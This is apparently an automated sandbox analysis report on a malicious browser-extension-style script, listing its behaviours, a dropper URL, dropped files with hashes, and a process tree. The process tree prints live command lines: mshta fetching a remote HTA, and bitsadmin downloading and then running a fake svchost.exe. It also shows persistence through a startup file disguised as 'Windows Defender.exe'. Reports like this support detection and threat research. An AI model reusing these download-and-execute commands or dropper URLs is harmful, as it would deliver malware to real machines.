Resubmissions

05/07/2026, 23:55

260705-3ydxlacs5p10

05/07/2026, 15:00

260705-sdhpyac13s10

Analysis

  • user interaction
    yes
  • max time kernel
    106s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/07/2026, 15:00

Errors

Reason
Machine shutdown

General

  • Target
    authguard/background.js
  • Size 4KB
  • Sample260705-sdhpyac13s
  • SHA256 c925c8199d17546f57fbcf36d608a405148a525679c908aa1e4c86f73cbeb8b5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://dicerigger.com

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 12 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\authguard\background.js
    1⤵
      PID:2488
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://dicerigger.com
      1⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\System32\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer wd /download /priority high "https://eykrqioydzqaehcektgd.supabase.co/storage/v1/object/public/files/da428127-c334-4482-b89f-34eb2d4fdfba/svchost.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        2⤵
        • Download via BitsAdmin
        PID:3928
      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Users\Admin\AppData\Local\Temp\svchost.exe
          "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
          3⤵
          • Drops startup file
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4440
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "ver"
            4⤵
              PID:5024
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c @echo off
              4⤵
                PID:5040
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c cls
                4⤵
                  PID:4920
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "ver"
                  4⤵
                    PID:3864
                  • C:\Windows\system32\shutdown.exe
                    shutdown /s /t 0
                    4⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4884
            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1364
              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe"
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3724
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "ver"
                  3⤵
                    PID:4708
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c @echo off
                    3⤵
                      PID:2080
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c cls
                      3⤵
                        PID:5000
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "ver"
                        3⤵
                          PID:1360
                        • C:\Windows\system32\shutdown.exe
                          shutdown /s /t 0
                          3⤵
                            PID:4792
                      • C:\Windows\system32\LogonUI.exe
                        "LogonUI.exe" /flags:0x4 /state0:0xa395a055 /state1:0x41c64e6d
                        1⤵
                        • Modifies data under HKEY_USERS
                        • Suspicious use of SetWindowsHookEx
                        PID:4500

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            _raw_aes.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\Crypto\Cipher\_raw_aes.pyd
                            • Size 34KB
                            • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _raw_aesni.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\Crypto\Cipher\_raw_aesni.pyd
                            • Size 15KB
                            • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _raw_cbc.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\Crypto\Cipher\_raw_cbc.pyd
                            • Size 11KB
                            • SHA256 a5c300a4bda97236f9f8ffa57f9db0e5c0a0f1d8a5699389aa03dbf1aebd77fc
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _cpuid_c.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\Crypto\Util\_cpuid_c.pyd
                            • Size 10KB
                            • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            VCRUNTIME140.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\VCRUNTIME140.dll
                            • Size 121KB
                            • SHA256 d5e4d9a3e835fa679450145d6a7d94e36573a509317111904d9b3712c30d9066
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            VCRUNTIME140_1.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\VCRUNTIME140_1.dll
                            • Size 48KB
                            • SHA256 1f2d41c4aa5db0bc33ebf7b66d72943a817d7ce6cbe880502a9403823633093f
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _asyncio.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_asyncio.pyd
                            • Size 52KB
                            • SHA256 fd04e08d05347a6491ccadccd000b33beab1eb1deb9c85c4985d6229d0d83053
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _bz2.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_bz2.pyd
                            • Size 71KB
                            • SHA256 5963c4395340011057cbbdca3ded0f58cf012fd9662bc0c7381494336ee5f276
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _cffi_backend.cp311-win_amd64.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_cffi_backend.cp311-win_amd64.pyd
                            • Size 174KB
                            • SHA256 8100f667a3f64eeb37b9326d0c53a931e0ea3cea4ade5dbdc638c368355c0948
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _ctypes.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_ctypes.pyd
                            • Size 116KB
                            • SHA256 8547d4c7342a36211dc76483a765577155cbf0974e48a7b354bf862917cc025e
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _decimal.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_decimal.pyd
                            • Size 239KB
                            • SHA256 019dda4d6f84e52953752da563ada0601a781fbef92b0f32527490b07c4ab60c
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _elementtree.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_elementtree.pyd
                            • Size 114KB
                            • SHA256 bdcb3de1423605dcc4858fc1683c871e66f934089d7214e56ce246b483c76949
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _hashlib.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_hashlib.pyd
                            • Size 52KB
                            • SHA256 e1a908c1af2668b443783da2d2d3782b4edb54f77f13c7b839c8dd9230d5da80
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _lzma.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_lzma.pyd
                            • Size 149KB
                            • SHA256 5d1ed5d0d287b718a8589bc22b7279577630374de05061e75cbd090e305d8053
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _multiprocessing.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_multiprocessing.pyd
                            • Size 22KB
                            • SHA256 f71739bddd3130bdbccefcb0e220cb3501bcc482a020eaf84bfa514064dc1a2a
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _overlapped.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_overlapped.pyd
                            • Size 38KB
                            • SHA256 1512f7462f75a91e5a2ca6b11a58c566583f7cbc9b633325c244c23d284d7138
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _queue.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_queue.pyd
                            • Size 20KB
                            • SHA256 f837ef399d592710fd804fc617ee2477de5832239f1c5f58a29baae8d4091b40
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _socket.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_socket.pyd
                            • Size 66KB
                            • SHA256 aa28c01718d819a6b0c32b1a66a758200e3110947a4c17bdaacfeed512863a4e
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _sqlite3.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_sqlite3.pyd
                            • Size 107KB
                            • SHA256 b1078625bf60b472d2d2c6de663b84eef5bbf24b0919db59f60705c731f0ce05
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _ssl.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_ssl.pyd
                            • Size 163KB
                            • SHA256 d9753d2b5d90ec54af0c03c709f510d35be2d7b4fdef06a119695306864cd1bc
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _tkinter.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_tkinter.pyd
                            • Size 52KB
                            • SHA256 ef6708bb893661101c4e5514545d704d00b3a9a8656f6f94c3a686109e887922
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _uuid.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\_uuid.pyd
                            • Size 13KB
                            • SHA256 715a9696b93a035de3ba074373303e634dbbd151c0b70d2662dfebfac7a7faf5
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            base_library.zip

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\base_library.zip
                            • Size 1.4MB
                            • SHA256 0a5b13e380a460379fedee112ef7c3536de25a323d89f143def886a9bc138486
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            libcrypto-3-x64.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\libcrypto-3-x64.dll
                            • Size 7.6MB
                            • SHA256 66348c968f8df22da0975d0141dc027cd0539f84f90d3a40542dd510540c3928
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            libffi-8.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\libffi-8.dll
                            • Size 27KB
                            • SHA256 1fdb7354fdb82f624bc849d8a360e500264fb9ba7171ed5378195cf0b3191073
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            libssl-3-x64.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\libssl-3-x64.dll
                            • Size 1.5MB
                            • SHA256 ba74e7e2f65d82edad90cefeae8771c0a2ae1e026a20ba531b9732286ec1ae5e
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            _multidict.cp311-win_amd64.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\multidict\_multidict.cp311-win_amd64.pyd
                            • Size 77KB
                            • SHA256 f92555975df808e8f4ba64e60af52ba32ccdebc69aa4dcca23d54d098dcb5d74
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            pyexpat.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\pyexpat.pyd
                            • Size 198KB
                            • SHA256 39c0002d3f27875a99d5e95b14896b7cb560bcd22af6acde27e2af82eea10f15
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            python3.DLL

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\python3.DLL
                            • Size 54KB
                            • SHA256 52fa723f646402678f9fc53157dbe9de0a980bdcd74c293a8a6233c3dfd15e49
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            python311.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\python311.dll
                            • Size 5.6MB
                            • SHA256 e1b53c741751563eca9eac70378de5be36994adac8c27e8ec375971579e23b50
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            pywintypes311.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\pywin32_system32\pywintypes311.dll
                            • Size 132KB
                            • SHA256 f33290cafcf91b6bd5b12b808198cbf816b68529e00e1b3563f63916529a0657
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            select.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\select.pyd
                            • Size 18KB
                            • SHA256 c578113c92d107288f347feb53aaf839e554f7b9aa1c5b44676b38cfc5872778
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            INSTALLER

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER
                            • Size 4B
                            • SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
                            • MD5 SHA1 SHA512

                            Lorem ipsum.txt

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                            • Size 1KB
                            • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                            • MD5 SHA1 SHA512 TLSH

                            sqlite3.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\sqlite3.dll
                            • Size 1.5MB
                            • SHA256 ad5789a6ca5ebac7d7006ec0c897817c574bbf0cab8b386adb82d1ae6c7d6bbf
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            tcl86t.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\tcl86t.dll
                            • Size 1.8MB
                            • SHA256 59488f67a8e75a5d51c7cb865436b5581fbb16014e9233b34db0c22bea6d4765
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            tk86t.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\tk86t.dll
                            • Size 1.5MB
                            • SHA256 e9a5815ad39619e22d581b7124bbaa4192e701229956a2edbaffc0c420864561
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            unicodedata.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\unicodedata.pyd
                            • Size 1.1MB
                            • SHA256 70719ed7c2cc738f80d7a0d23d9f0955f8c3f10ffe55effa64b836ce6b5a765a
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            win32gui.pyd

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI28602\win32\win32gui.pyd
                            • Size 215KB
                            • SHA256 56c4284a00bc18e0a1b629cbf588d9bc1e25311b0bab771dceb37630903f7762
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            chromelevator_x64.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\chromelevator_x64.exe
                            • Size 1.4MB
                            • SHA256 e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/4440-3270-0x0000023FBFD00000-0x0000023FC1081000-memory.dmp